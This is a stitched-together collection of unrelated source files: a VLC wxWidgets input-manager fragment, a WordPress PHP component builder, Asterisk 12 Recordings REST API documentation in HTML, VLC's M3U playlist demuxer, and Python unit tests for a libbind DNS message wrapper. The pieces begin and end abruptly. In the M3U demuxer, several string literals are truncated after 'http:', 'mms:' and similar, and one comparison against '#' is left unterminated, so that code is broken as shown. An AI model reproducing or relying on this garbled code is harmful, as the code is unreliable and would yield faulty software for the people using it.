PAUSE_S : PLAYING_S );
/* wxCocoa pretends to support this, but at least 2.6.x doesn't */
#ifndef __APPLE__
#ifdef wxHAS_TASK_BAR_ICON
if( p_main_intf->p_systray )
{
p_main_intf->p_systray->UpdateTooltip(
wxU(p_input->input.p_item->psz_name) + wxString(wxT(" - ")) +
(val.i_int == PAUSE_S ? wxU(_("Paused")) : wxU(_("Playing"))));
}
#endif
#endif
}
}
void InputManager::UpdateDiscButtons()
{
vlc_value_t val;
var_Change( p_input, "title", <API key>, &val, NULL );
if( val.i_int > 0 && !disc_frame->IsShown() )
{
vlc_value_t val;
#define HELP_MENU N_("Menu")
#define HELP_PCH N_("Previous chapter")
#define HELP_NCH N_("Next chapter")
#define HELP_PTR N_("Previous track")
#define HELP_NTR N_("Next track")
var_Change( p_input, "chapter", <API key>, &val, NULL );
if( val.i_int > 0 )
{
disc_menu_button->Show();
disc_sizer->Show( disc_menu_button );
disc_sizer->Layout();
disc_sizer->Fit( disc_frame );
disc_menu_button->SetToolTip( wxU(_( HELP_MENU ) ) );
disc_prev_button->SetToolTip( wxU(_( HELP_PCH ) ) );
disc_next_button->SetToolTip( wxU(_( HELP_NCH ) ) );
}
else
{
disc_menu_button->Hide();
disc_sizer->Hide( disc_menu_button );
disc_prev_button->SetToolTip( wxU(_( HELP_PTR ) ) );
disc_next_button->SetToolTip( wxU(_( HELP_NTR ) ) );
}
ShowDiscFrame();
}
else if( val.i_int == 0 && disc_frame->IsShown() )
{
HideDiscFrame();
}
}
void InputManager::HideSlider()
{
ShowSlider( false );
}
void InputManager::HideDiscFrame()
{
ShowDiscFrame( false );
}
void InputManager::UpdateTime()
{
char psz_time[ MSTRTIME_MAX_SIZE ], psz_total[ MSTRTIME_MAX_SIZE ];
mtime_t i_seconds;
i_seconds = var_GetTime( p_intf->p_sys->p_input, "length" ) / 1000000;
secstotimestr( psz_total, i_seconds );
i_seconds = var_GetTime( p_intf->p_sys->p_input, "time" ) / 1000000;
secstotimestr( psz_time, i_seconds );
p_main_intf->statusbar->SetStatusText(
wxU(psz_time) + wxString(wxT(" / ")) +wxU(psz_total), 0 );
}
void InputManager::Update()
{
/* Update the input */
if( p_input == NULL )
{
UpdateInput();
if( p_input )
{
slider->SetValue( 0 );
}
else if( !i_input_hide_delay )
{
i_input_hide_delay = mdate() + 200000;
}
else if( i_input_hide_delay < mdate() )
{
if( disc_frame->IsShown() ) HideDiscFrame();
if( slider->IsShown() ) HideSlider();
i_input_hide_delay = 0;
}
}
else if( p_input->b_dead )
{
UpdateButtons( VLC_FALSE );
vlc_object_release( p_input );
p_input = NULL;
}
else
{
i_input_hide_delay = 0;
}
if( p_input && !p_input->b_die )
{
vlc_value_t pos, len;
UpdateTime();
UpdateButtons( VLC_TRUE );
UpdateNowPlaying();
UpdateDiscButtons();
/* Really manage the slider */
var_Get( p_input, "position", &pos );
var_Get( p_input, "length", &len );
if( pos.f_float > 0 && !slider->IsShown() ) ShowSlider();
else if( pos.f_float <= 0 && slider->IsShown() ) HideSlider();
/* Update the slider if the user isn't dragging it. */
if( slider->IsShown() && b_slider_free )
{
i_slider_pos = (int)(SLIDER_MAX_POS * pos.f_float);
slider->SetValue( i_slider_pos );
}
/* Manage Speed status */
vlc_value_t val;
var_Get( p_input, "rate", &val );
if( i_old_rate != val.i_int )
{
p_main_intf->statusbar->SetStatusText(
wxString::Format(wxT("x%.2f"),
(float)INPUT_RATE_DEFAULT / val.i_int ), 1 );
i_old_rate = val.i_int;
}
}
}
void InputManager::OnDiscMenu( wxCommandEvent& WXUNUSED(event) )
{
input_thread_t *p_input =
(input_thread_t *)vlc_object_find( p_intf, VLC_OBJECT_INPUT,
FIND_ANYWHERE );
if( p_input )
{
vlc_value_t val; val.i_int = 2;
var_Set( p_input, "title 0", val);
vlc_object_release( p_input );
}
}
void InputManager::OnDiscPrev( wxCommandEvent& WXUNUSED(event) )
{
input_thread_t *p_input =
(input_thread_t *)vlc_object_find( p_intf, VLC_OBJECT_INPUT,
FIND_ANYWHERE );
if( p_input )
{
int i_type = var_Type( p_input, "prev-chapter" );
vlc_value_t val; val.b_bool = VLC_TRUE;
var_Set( p_input, ( i_type & VLC_VAR_TYPE ) != 0 ?
"prev-chapter" : "prev-title", val );
vlc_object_release( p_input );
}
}
void InputManager::OnDiscNext( wxCommandEvent& WXUNUSED(event) )
{
input_thread_t *p_input =
(input_thread_t *)vlc_object_find( p_intf, VLC_OBJECT_INPUT,
FIND_ANYWHERE );
if( p_input )
{
int i_type = var_Type( p_input, "next-chapter" );
vlc_value_t val; val.b_bool = VLC_TRUE;
var_Set( p_input, ( i_type & VLC_VAR_TYPE ) != 0 ?
"next-chapter" : "next-title", val );
vlc_object_release( p_input );
}
}
void InputManager::OnSliderUpdate( wxScrollEvent& event )
{
vlc_mutex_lock( &p_intf->change_lock );
#ifdef WIN32
if( event.GetEventType() == <API key>
|| event.GetEventType() == <API key> )
{
#endif
if( i_slider_pos != event.GetPosition() && p_intf->p_sys->p_input )
{
vlc_value_t pos;
pos.f_float = (float)event.GetPosition() / (float)SLIDER_MAX_POS;
var_Set( p_intf->p_sys->p_input, "position", pos );
}
#ifdef WIN32
b_slider_free = VLC_TRUE;
}
else
{
b_slider_free = VLC_FALSE;
if( p_intf->p_sys->p_input ) UpdateTime();
}
#endif
#undef WIN32
vlc_mutex_unlock( &p_intf->change_lock );
}
void InputManager::ShowSlider( bool show )
{
if( !!show == !!slider->IsShown() ) return;
UpdateVideoWindow( p_intf, p_main_intf->video_window );
sizer->Show( slider, show );
sizer->Layout();
wxCommandEvent intf_event( wxEVT_INTF, 0 );
p_main_intf->AddPendingEvent( intf_event );
}
void InputManager::ShowDiscFrame( bool show )
{
if( !!show == !!disc_frame->IsShown() ) return;
UpdateVideoWindow( p_intf, p_main_intf->video_window );
sizer->Show( disc_frame, show );
sizer->Layout();
wxCommandEvent intf_event( wxEVT_INTF, 0 );
p_main_intf->AddPendingEvent( intf_event );
}
|
<?php
/**
* Load our components using a static wrapper
*/
namespace MakeitWorkPress\WP_Components;
use WP_Error as WP_Error;
defined( 'ABSPATH' ) or die( 'Go eat veggies!' );
class Build {
/**
* Renders generic template for an atom or molecule.
*
* @param string $type The type, either a molecule or atom
* @param string $template The template to load, either a template in the molecule or atom's folder
* @param array $properties The custom properties for the template
* @param array $render If the element is rendered. If set to false, the contents of the elements are returned
*/
private static function render( $type = 'atom', $template, $properties = [], $render = true ) {
// Empty properties can be neglected
if( empty($properties) ) {
$properties = [];
}
// Properties should be an array
if( ! is_array($properties) ) {
$error = new WP_Error( 'wrong', sprintf(__('The properties for the molecule or atom called %s are not properly formatted as an array.', 'components'), $template) );
echo $error->get_error_message();
return;
}
// If we have atom properties, they should have proper properties
if( isset($properties['atoms']) && is_array($properties['atoms']) ) {
foreach( $properties['atoms'] as $atom ) {
if( ! isset($atom['atom']) ) {
$error = new WP_Error( 'wrong', sprintf(__('The custom atoms within %s are not properly formatted and miss the atom key.', 'components'), $template) );
echo $error->get_error_message();
return;
}
}
}
// Our template path
$path = apply_filters( 'components_' . $type . '_path', COMPONENTS_PATH . $type . 's/' . $template . '.php', $template );
if( file_exists($path) ) {
${$type} = apply_filters( 'components_' . $type . '_properties', self::<API key>($template, $properties, $type), $template );
// If we have the lazyload script defined, we execute it - but we watch for the WP Optimize Script being active
if( isset(${$type}['lazyload']) && ${$type}['lazyload'] && ! wp_script_is('lazyload') ) {
wp_enqueue_script('lazyload');
}
// If we do not render, we return
if( $render == false ) {
ob_start();
}
require($path);
if( $render == false ) {
return ob_get_clean();
}
} else {
$error = new WP_Error( 'wrong', sprintf( __('The given template for the molecule or atom called %s does not exist.', 'components'), $template ) );
echo $error->get_error_message();
}
}
/**
* Define the default attributes per template. This allows us to dynamically add attributes
*
* @param string $template The template to load
* @param array $properties The custom properties defined by the developer
* @param string $type Whether we load an atom or an molecule
*
* @return array $properties The custom properties merged with the defaults
*/
public static function <API key>( $template, $properties, $type = 'atom' ) {
// Define our most basic property - the class
$properties['attributes']['class'] = isset($properties['attributes']['class']) ? $type . ' ' . $properties['attributes']['class'] : $type;
$properties['attributes']['class'] .= ' ' . $type . '-' . $template;
/**
* Properties that generate a specific class for a style or are generic
*/
foreach( ['align', 'animation', 'appear', 'background', 'border', 'color', 'display', 'float', 'grid', 'height', 'hover', 'parallax', 'position', 'rounded', 'width'] as $class ) {
if( isset($properties[$class]) && $properties[$class] ) {
// Backgrounds
if( $class == 'background' && preg_match('/hsl|http|https|rgb|linear-gradient|#/', $properties[$class]) ) {
if( preg_match('/http|https/', $properties[$class]) ) {
$properties['attributes']['class'] .= ' <API key>';
if( isset($properties['lazyload']) && $properties['lazyload'] ) {
$properties['attributes']['data']['bg'] = 'url(' . $properties[$class] . ')';
$properties['attributes']['class'] .= ' lazy';
} else {
$properties['attributes']['style']['background-image'] = 'url(' . $properties[$class] . ')';
}
} else {
$properties['attributes']['style']['background'] = $properties[$class];
}
continue;
}
if( $class == 'border' && preg_match('/hsl|linear-gradient|rgb|#/', $properties[$class]) ) {
if( strpos($properties['border'], 'linear-gradient') === 0 ) {
$properties['attributes']['style']['border'] = '2px solid transparent;';
$properties['attributes']['style']['border-image'] = $properties[$class];
$properties['attributes']['style']['border-image-slice'] = 1;
} else {
$properties['attributes']['style']['border'] = '2px solid ' . $properties[$class];
}
continue;
}
// Color
if( $class == 'color' && preg_match('/hsl|rgb|#/', $properties[$class]) ) {
$properties['attributes']['style']['color'] = $properties[$class];
continue;
}
// Continue if our grid is an array
if( $class == 'grid' && is_array($properties[$class]) ) {
continue;
}
// Height and Width
if( ($class == 'height' || $class == 'width') && preg_match('/ch|em|ex|in|mm|pc|pt|px|rem|vh|vw|%/', $properties[$class]) ) {
$properties['attributes']['style']['min-' . $class] = $properties[$class];
continue;
}
// Set our definite class
$properties['attributes']['class'] .= is_bool($properties[$class]) ? ' components-' . $class : ' components-' . $properties[$class] . '-' . $class;
}
}
return $properties;
}
/**
* Displays any atom
*
* @param string $atom The atom to load
* @param array $variables The custom variables for a molecule
*/
public static function atom( $atom, $variables = array(), $render = true ) {
if( $render == false ) {
return self::render( 'atom', $atom, $variables, $render );
}
self::render( 'atom', $atom, $variables );
}
/**
* Displays any molecule
*
* @param string $molecule The atom to load
* @param array $variables The custom variables for a molecule
*/
public static function molecule( $molecule, $variables = array(), $render = true ) {
if( $render == false ) {
return self::render( 'molecule', $molecule, $variables, $render );
}
self::render( 'molecule', $molecule, $variables );
}
/**
* Turns our attributes into a usuable string for use in our atoms
*
* @param array $attributes The array with custom properties
* @return string $output The attributes as a string
*/
public static function attributes( $attributes = [] ) {
$output = '';
foreach( $attributes as $key => $attribute ) {
// Skip empty attributes
if( ! $attribute ) {
continue;
}
if( $key == 'data' && is_array($attribute) ) {
foreach( $attribute as $data => $value ) {
$output .= 'data-' . $data . '="' . $value . '"';
}
} elseif( $key == 'style' && is_array($attribute) ) {
$output .= $key . '="';
foreach( $attribute as $selector => $value ) {
if( ! $value ) {
continue;
}
$output .= $selector . ':' . $value . ';';
}
$output .= '"';
} else {
$output .= $key .'="' . $attribute . '"';
}
}
return $output;
}
/**
* Allows us to parse arguments in a multidimensional array
*
* @param array $args The arguments to parse
* @param array $default The default arguments
*
* @return array $array The merged array
*/
public static function multiParseArgs( $args, $default ) {
if( ! is_array($default) ) {
return wp_parse_args( $args, $default );
}
$array = [];
// Loop through our multidimensional array
foreach( [$default, $args] as $elements ) {
foreach( $elements as $key => $element ) {
// If we have numbered keys
if( is_integer($key) ) {
$array[] = $element;
// Atoms are always overwritten by the arguments
} elseif( in_array($key, ['atoms', 'contentAtoms', 'footerAtoms', 'headerAtoms', 'image', 'socketAtoms', 'topAtoms']) ) {
$array[$key] = $element;
}
elseif( isset( $array[$key] ) && (is_array( $array[$key] )) && ! empty($array[$key]) && is_array($element) ) {
$array[$key] = self::multiParseArgs( $element, $array[$key] );
} else {
$array[$key] = $element;
}
}
}
return $array;
}
}
|
<!DOCTYPE html>
<html>
<head>
<title>Asterisk Project : Asterisk 12 Recordings REST API</title>
<link rel="stylesheet" href="styles/site.css" type="text/css" />
<META http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
<body class="theme-default aui-theme-default">
<div id="page">
<div id="main" class="aui-page-panel">
<div id="main-header">
<div id="breadcrumb-section">
<ol id="breadcrumbs">
<li class="first">
<span><a href="index.html">Asterisk Project</a></span>
</li>
<li>
<span><a href="<API key>.html">Asterisk 12 Documentation</a></span>
</li>
<li>
<span><a href="<API key>.html">Asterisk 12 Command Reference</a></span>
</li>
<li>
<span><a href="<API key>.html">Asterisk 12 ARI</a></span>
</li>
</ol>
</div>
<h1 id="title-heading" class="pagetitle">
<span id="title-text">
Asterisk Project : Asterisk 12 Recordings REST API
</span>
</h1>
</div>
<div id="content" class="view">
<div class="page-metadata">
Added by dlee , edited by wikibot on Nov 08, 2013
</div>
<div id="main-content" class="wiki-content group">
<h1 id="<API key>">Recordings</h1>
<div class="table-wrap"><table class="confluenceTable"><tbody>
<tr>
<th class="confluenceTh"><p> Method </p></th>
<th class="confluenceTh"><p> Path </p></th>
<th class="confluenceTh"><p> Return Model </p></th>
<th class="confluenceTh"><p> Summary </p></th>
</tr>
<tr>
<td class="confluenceTd"><p> GET </p></td>
<td class="confluenceTd"><p> <a href="<API key>.html">/recordings/stored</a> </p></td>
<td class="confluenceTd"><p> <a href="<API key>.html#<API key>">List[StoredRecording]</a> </p></td>
<td class="confluenceTd"><p> List recordings that are complete. </p></td>
</tr>
<tr>
<td class="confluenceTd"><p> GET </p></td>
<td class="confluenceTd"><p> <a href="<API key>.html">/recordings/stored/{recordingName}</a> </p></td>
<td class="confluenceTd"><p> <a href="<API key>.html#<API key>">StoredRecording</a> </p></td>
<td class="confluenceTd"><p> Get a stored recording's details. </p></td>
</tr>
<tr>
<td class="confluenceTd"><p> DELETE </p></td>
<td class="confluenceTd"><p> <a href="<API key>.html">/recordings/stored/{recordingName}</a> </p></td>
<td class="confluenceTd"><p> void </p></td>
<td class="confluenceTd"><p> Delete a stored recording. </p></td>
</tr>
<tr>
<td class="confluenceTd"><p> GET </p></td>
<td class="confluenceTd"><p> <a href="<API key>.html">/recordings/live/{recordingName}</a> </p></td>
<td class="confluenceTd"><p> <a href="<API key>.html#<API key>">LiveRecording</a> </p></td>
<td class="confluenceTd"><p> List live recordings. </p></td>
</tr>
<tr>
<td class="confluenceTd"><p> DELETE </p></td>
<td class="confluenceTd"><p> <a href="<API key>.html">/recordings/live/{recordingName}</a> </p></td>
<td class="confluenceTd"><p> void </p></td>
<td class="confluenceTd"><p> Stop a live recording and discard it. </p></td>
</tr>
<tr>
<td class="confluenceTd"><p> POST </p></td>
<td class="confluenceTd"><p> <a href="<API key>.html">/recordings/live/{recordingName}/stop</a> </p></td>
<td class="confluenceTd"><p> void </p></td>
<td class="confluenceTd"><p> Stop a live recording and store it. </p></td>
</tr>
<tr>
<td class="confluenceTd"><p> POST </p></td>
<td class="confluenceTd"><p> <a href="<API key>.html">/recordings/live/{recordingName}/pause</a> </p></td>
<td class="confluenceTd"><p> void </p></td>
<td class="confluenceTd"><p> Pause a live recording. </p></td>
</tr>
<tr>
<td class="confluenceTd"><p> DELETE </p></td>
<td class="confluenceTd"><p> <a href="<API key>.html">/recordings/live/{recordingName}/pause</a> </p></td>
<td class="confluenceTd"><p> void </p></td>
<td class="confluenceTd"><p> Unpause a live recording. </p></td>
</tr>
<tr>
<td class="confluenceTd"><p> POST </p></td>
<td class="confluenceTd"><p> <a href="<API key>.html">/recordings/live/{recordingName}/mute</a> </p></td>
<td class="confluenceTd"><p> void </p></td>
<td class="confluenceTd"><p> Mute a live recording. </p></td>
</tr>
<tr>
<td class="confluenceTd"><p> DELETE </p></td>
<td class="confluenceTd"><p> <a href="<API key>.html">/recordings/live/{recordingName}/mute</a> </p></td>
<td class="confluenceTd"><p> void </p></td>
<td class="confluenceTd"><p> Unmute a live recording. </p></td>
</tr>
</tbody></table></div>
<p><span class="<API key>" id="<API key>"></span></p>
<h2 id="<API key>%2Frecordings%2Fstored">GET /recordings/stored</h2>
<p>List recordings that are complete.</p>
<p><span class="<API key>" id="<API key>"></span></p>
<h2 id="<API key>%2Frecordings%2Fstored%2F%7BrecordingName%7D">GET /recordings/stored/{recordingName}</h2>
<p>Get a stored recording's details.</p>
<h3 id="<API key>">Path parameters</h3>
<ul>
<li>recordingName: string - The name of the recording</li>
</ul>
<h3 id="<API key>">Error Responses</h3>
<ul>
<li>404 - Recording not found</li>
</ul>
<p><span class="<API key>" id="<API key>"></span></p>
<h2 id="<API key>%2Frecordings%2Fstored%2F%7BrecordingName%7D">DELETE /recordings/stored/{recordingName}</h2>
<p>Delete a stored recording.</p>
<h3 id="<API key>.1">Path parameters</h3>
<ul>
<li>recordingName: string - The name of the recording</li>
</ul>
<h3 id="<API key>.1">Error Responses</h3>
<ul>
<li>404 - Recording not found</li>
</ul>
<p><span class="<API key>" id="<API key>"></span></p>
<h2 id="<API key>%2Frecordings%2Flive%2F%7BrecordingName%7D">GET /recordings/live/{recordingName}</h2>
<p>List live recordings.</p>
<h3 id="<API key>.2">Path parameters</h3>
<ul>
<li>recordingName: string - The name of the recording</li>
</ul>
<h3 id="<API key>.2">Error Responses</h3>
<ul>
<li>404 - Recording not found</li>
</ul>
<p><span class="<API key>" id="<API key>"></span></p>
<h2 id="<API key>%2Frecordings%2Flive%2F%7BrecordingName%7D">DELETE /recordings/live/{recordingName}</h2>
<p>Stop a live recording and discard it.</p>
<h3 id="<API key>.3">Path parameters</h3>
<ul>
<li>recordingName: string - The name of the recording</li>
</ul>
<h3 id="<API key>.3">Error Responses</h3>
<ul>
<li>404 - Recording not found</li>
</ul>
<p><span class="<API key>" id="<API key>"></span></p>
<h2 id="<API key>%2Frecordings%2Flive%2F%7BrecordingName%7D%2Fstop">POST /recordings/live/{recordingName}/stop</h2>
<p>Stop a live recording and store it.</p>
<h3 id="<API key>.4">Path parameters</h3>
<ul>
<li>recordingName: string - The name of the recording</li>
</ul>
<h3 id="<API key>.4">Error Responses</h3>
<ul>
<li>404 - Recording not found</li>
</ul>
<p><span class="<API key>" id="<API key>"></span></p>
<h2 id="<API key>%2Frecordings%2Flive%2F%7BrecordingName%7D%2Fpause">POST /recordings/live/{recordingName}/pause</h2>
<p>Pause a live recording. Pausing a recording suspends silence detection, which will be restarted when the recording is unpaused. Paused time is not included in the accounting for maxDurationSeconds.</p>
<h3 id="<API key>.5">Path parameters</h3>
<ul>
<li>recordingName: string - The name of the recording</li>
</ul>
<h3 id="<API key>.5">Error Responses</h3>
<ul>
<li>404 - Recording not found</li>
<li>409 - Recording not in session</li>
</ul>
<p><span class="<API key>" id="<API key>"></span></p>
<h2 id="<API key>%2Frecordings%2Flive%2F%7BrecordingName%7D%2Fpause">DELETE /recordings/live/{recordingName}/pause</h2>
<p>Unpause a live recording.</p>
<h3 id="<API key>.6">Path parameters</h3>
<ul>
<li>recordingName: string - The name of the recording</li>
</ul>
<h3 id="<API key>.6">Error Responses</h3>
<ul>
<li>404 - Recording not found</li>
<li>409 - Recording not in session</li>
</ul>
<p><span class="<API key>" id="<API key>"></span></p>
<h2 id="<API key>%2Frecordings%2Flive%2F%7BrecordingName%7D%2Fmute">POST /recordings/live/{recordingName}/mute</h2>
<p>Mute a live recording. Muting a recording suspends silence detection, which will be restarted when the recording is unmuted.</p>
<h3 id="<API key>.7">Path parameters</h3>
<ul>
<li>recordingName: string - The name of the recording</li>
</ul>
<h3 id="<API key>.7">Error Responses</h3>
<ul>
<li>404 - Recording not found</li>
<li>409 - Recording not in session</li>
</ul>
<p><span class="<API key>" id="<API key>"></span></p>
<h2 id="<API key>%2Frecordings%2Flive%2F%7BrecordingName%7D%2Fmute">DELETE /recordings/live/{recordingName}/mute</h2>
<p>Unmute a live recording.</p>
<h3 id="<API key>.8">Path parameters</h3>
<ul>
<li>recordingName: string - The name of the recording</li>
</ul>
<h3 id="<API key>.8">Error Responses</h3>
<ul>
<li>404 - Recording not found</li>
<li>409 - Recording not in session</li>
</ul>
</div>
</div> </div>
<div id="footer">
<section class="footer-body">
<p>Document generated by Confluence on Dec 20, 2013 14:15</p>
</section>
</div>
</div> </body>
</html>
|
#ifdef HAVE_CONFIG_H
# include "config.h"
#endif
#include <vlc_common.h>
#include <vlc_demux.h>
#include <vlc_charset.h>
#include "playlist.h"
struct demux_sys_t
{
char *psz_prefix;
char *(*pf_dup) (const char *);
};
static int Demux( demux_t *p_demux);
static void parseEXTINF( char *psz_string, char **ppsz_artist, char **ppsz_name, int *pi_duration );
static bool ContainsURL( demux_t *p_demux );
static char *GuessEncoding (const char *str)
{
return IsUTF8 (str) ? strdup (str) : FromLatin1 (str);
}
static char *CheckUnicode (const char *str)
{
return IsUTF8 (str) ? strdup (str): NULL;
}
int Import_M3U( vlc_object_t *p_this )
{
demux_t *p_demux = (demux_t *)p_this;
const uint8_t *p_peek;
char *(*pf_dup) (const char *) = GuessEncoding;
int offset = 0;
if( stream_Peek( p_demux->s, &p_peek, 3 ) == 3
&& !memcmp( p_peek, "\xef\xbb\xbf", 3) )
{
pf_dup = CheckUnicode; /* UTF-8 Byte Order Mark */
offset = 3;
}
if( <API key>( p_demux, ".m3u8" )
|| demux_IsForced( p_demux, "m3u8" )
|| CheckContentType( p_demux->s, "application/vnd.apple.mpegurl" ) )
pf_dup = CheckUnicode; /* UTF-8 file type */
else
if( <API key>( p_demux, ".m3u" )
|| <API key>( p_demux, ".vlc" )
|| demux_IsForced( p_demux, "m3u" )
|| ContainsURL( p_demux )
|| CheckContentType( p_demux->s, "audio/x-mpegurl") )
; /* Guess encoding */
else
{
if( stream_Peek( p_demux->s, &p_peek, 8 + offset ) < (8 + offset) )
return VLC_EGENERIC;
p_peek += offset;
if( !strncasecmp( (const char *)p_peek, "RTSPtext", 8 ) ) /* QuickTime */
pf_dup = CheckUnicode; /* UTF-8 */
else
if( !memcmp( p_peek, "#EXTM3U", 7 ) )
; /* Guess encoding */
else
return VLC_EGENERIC;
}
stream_Seek( p_demux->s, offset );
<API key>( "found valid M3U playlist" );
p_demux->p_sys->psz_prefix = FindPrefix( p_demux );
p_demux->p_sys->pf_dup = pf_dup;
return VLC_SUCCESS;
}
static bool ContainsURL( demux_t *p_demux )
{
const uint8_t *p_peek, *p_peek_end;
int i_peek;
i_peek = stream_Peek( p_demux->s, &p_peek, 1024 );
if( i_peek <= 0 ) return false;
p_peek_end = p_peek + i_peek;
while( p_peek + sizeof( "https://" ) < p_peek_end )
{
/* One line starting with a URL is enough */
if( !strncasecmp( (const char *)p_peek, "http:
!strncasecmp( (const char *)p_peek, "mms:
!strncasecmp( (const char *)p_peek, "rtsp:
!strncasecmp( (const char *)p_peek, "https:
!strncasecmp( (const char *)p_peek, "ftp:
!strncasecmp( (const char *)p_peek, "ftps:
!strncasecmp( (const char *)p_peek, "ftpes:
{
return true;
}
/* Comments and blank lines are ignored */
else if( *p_peek != '#' && *p_peek != '\n' && *p_peek != '\r')
{
return false;
}
while( p_peek < p_peek_end && *p_peek != '\n' )
p_peek++;
if ( *p_peek == '\n' )
p_peek++;
}
return false;
}
void Close_M3U( vlc_object_t *p_this )
{
demux_t *p_demux = (demux_t *)p_this;
free( p_demux->p_sys->psz_prefix );
free( p_demux->p_sys );
}
static int Demux( demux_t *p_demux )
{
char *psz_line;
char *psz_name = NULL;
char *psz_artist = NULL;
char *psz_album_art = NULL;
int i_parsed_duration = 0;
mtime_t i_duration = -1;
const char**ppsz_options = NULL;
char * (*pf_dup) (const char *) = p_demux->p_sys->pf_dup;
int i_options = 0;
bool b_cleanup = false;
input_item_t *p_input;
input_item_t *p_current_input = GetCurrentItem(p_demux);
input_item_node_t *p_subitems = <API key>( p_current_input );
psz_line = stream_ReadLine( p_demux->s );
while( psz_line )
{
char *psz_parse = psz_line;
/* Skip leading tabs and spaces */
while( *psz_parse == ' ' || *psz_parse == '\t' ||
*psz_parse == '\n' || *psz_parse == '\r' ) psz_parse++;
if( *psz_parse == '
{
/* Parse extra info */
/* Skip leading tabs and spaces */
while( *psz_parse == ' ' || *psz_parse == '\t' ||
*psz_parse == '\n' || *psz_parse == '\r' ||
*psz_parse == '#' ) psz_parse++;
if( !*psz_parse ) goto error;
if( !strncasecmp( psz_parse, "EXTINF:", sizeof("EXTINF:") -1 ) )
{
/* Extended info */
psz_parse += sizeof("EXTINF:") - 1;
FREENULL( psz_name );
FREENULL( psz_artist );
parseEXTINF( psz_parse, &psz_artist, &psz_name, &i_parsed_duration );
if( i_parsed_duration >= 0 )
i_duration = i_parsed_duration * INT64_C(1000000);
if( psz_name )
psz_name = pf_dup( psz_name );
if( psz_artist )
psz_artist = pf_dup( psz_artist );
}
else if( !strncasecmp( psz_parse, "EXTVLCOPT:",
sizeof("EXTVLCOPT:") -1 ) )
{
/* VLC Option */
char *psz_option;
psz_parse += sizeof("EXTVLCOPT:") -1;
if( !*psz_parse ) goto error;
psz_option = pf_dup( psz_parse );
if( psz_option )
INSERT_ELEM( (const char **), ppsz_options, i_options, i_options, // sunqueen modify
psz_option );
}
/* Special case for jamendo which provide the albumart */
else if( !strncasecmp( psz_parse, "EXTALBUMARTURL:",
sizeof( "EXTALBUMARTURL:" ) -1 ) )
{
psz_parse += sizeof( "EXTALBUMARTURL:" ) - 1;
free( psz_album_art );
psz_album_art = pf_dup( psz_parse );
}
}
else if( !strncasecmp( psz_parse, "RTSPtext", sizeof("RTSPtext") -1 ) )
{
;/* special case to handle QuickTime RTSPtext redirect files */
}
else if( *psz_parse )
{
char *psz_mrl;
psz_parse = pf_dup( psz_parse );
if( !psz_name && psz_parse )
/* Use filename as name for relative entries */
psz_name = strdup( psz_parse );
psz_mrl = ProcessMRL( psz_parse, p_demux->p_sys->psz_prefix );
b_cleanup = true;
if( !psz_mrl )
{
free( psz_parse );
goto error;
}
p_input = input_item_NewExt( psz_mrl, psz_name,
i_options, ppsz_options, 0, i_duration );
free( psz_parse );
free( psz_mrl );
if ( !EMPTY_STR(psz_artist) )
<API key>( p_input, psz_artist );
if( psz_name ) input_item_SetTitle( p_input, psz_name );
if( !EMPTY_STR(psz_album_art) )
<API key>( p_input, psz_album_art );
<API key>( p_subitems, p_input );
vlc_gc_decref( p_input );
}
error:
/* Fetch another line */
free( psz_line );
psz_line = stream_ReadLine( p_demux->s );
if( !psz_line ) b_cleanup = true;
if( b_cleanup )
{
/* Cleanup state */
while( i_options-- ) free( (char*)ppsz_options[i_options] );
FREENULL( ppsz_options );
i_options = 0;
FREENULL( psz_name );
FREENULL( psz_artist );
FREENULL( psz_album_art );
i_parsed_duration = 0;
i_duration = -1;
b_cleanup = false;
}
}
<API key>( p_subitems );
vlc_gc_decref(p_current_input);
var_Destroy( p_demux, "m3u-extvlcopt" );
return 0; /* Needed for correct operation of go back */
}
static void parseEXTINF(char *psz_string, char **ppsz_artist,
char **ppsz_name, int *pi_duration)
{
char *end = NULL;
char *psz_item = NULL;
end = psz_string + strlen( psz_string );
/* ignore whitespaces */
for (; psz_string < end && ( *psz_string == '\t' || *psz_string == ' ' );
psz_string++ );
/* duration: read to next comma */
psz_item = psz_string;
psz_string = strchr( psz_string, ',' );
if ( psz_string )
{
*psz_string = '\0';
*pi_duration = atoi( psz_item );
}
else
{
return;
}
if ( psz_string < end ) /* continue parsing if possible */
psz_string++;
/* analyse the remaining string */
psz_item = strstr( psz_string, " - " );
/* here we have the 0.8.2+ format with artist */
if ( psz_item )
{
/* *** "EXTINF:time,artist - name" */
*psz_item = '\0';
*ppsz_artist = psz_string;
*ppsz_name = psz_item + 3; /* points directly after ' - ' */
return;
}
/* reaching this point means: 0.8.1- with artist or something without artist */
if ( *psz_string == ',' )
{
/* *** "EXTINF:time,,name" */
psz_string++;
*ppsz_name = psz_string;
return;
}
psz_item = psz_string;
psz_string = strchr( psz_string, ',' );
if ( psz_string )
{
/* *** "EXTINF:time,artist,name" */
*psz_string = '\0';
*ppsz_artist = psz_item;
*ppsz_name = psz_string+1;
}
else
{
/* *** "EXTINF:time,name" */
*ppsz_name = psz_item;
}
return;
}
|
#!/usr/bin/env python
# testlibbind_ns_msg.py - Unit tests for the libbind ns_msg wrapper
# This file is part of Strangle.
# Strangle is free software; you can redistribute it and/or modify
# (at your option) any later version.
# Strangle is distributed in the hope that it will be useful,
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# along with Strangle; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
import sys, testutils, random
import unittest
from Strangle import libbind
class ns_msgTestCase(unittest.TestCase):
"""Tests for the wrapper around the libbind ns_msg struct"""
def test000Exists(self):
"""Check that the ns_msg type object exists cleanly in the module"""
assert(libbind.ns_msg.__class__ is type)
def testInstantiate(self):
"""Check that the ns_msg type accepts the correct arguments"""
# Too few
self.assertRaises(TypeError, libbind.ns_msg)
# Too many
self.assertRaises(TypeError, libbind.ns_msg, 'one', 'two')
def testNoticeInvalid(self):
"""Test whether the ns_msg type can handle bad data"""
rng = testutils.rng
for testNum in range(0, 50):
packetLength = random.randrange(20, 80)
packetVal = rng.read(packetLength)
self.assertRaises(TypeError, libbind.ns_msg, packetVal)
def testParseValidQuery(self):
"""Test whether ns_msg initialization parses valid NS queries"""
packetData = file("data/www.company.example-query").read()
n = libbind.ns_msg(packetData)
assert(type(n) is libbind.ns_msg)
def <API key>(self):
"""Test whether ns_msg initialization parses valid NS queries"""
packetData = file("data/www.company.example-response").read()
n = libbind.ns_msg(packetData)
assert(type(n) is libbind.ns_msg)
def suite():
s = unittest.TestSuite()
s.addTest( unittest.makeSuite(ns_msgTestCase, 'test') )
return s
if __name__ == "__main__":
unittest.main()
|
<?php
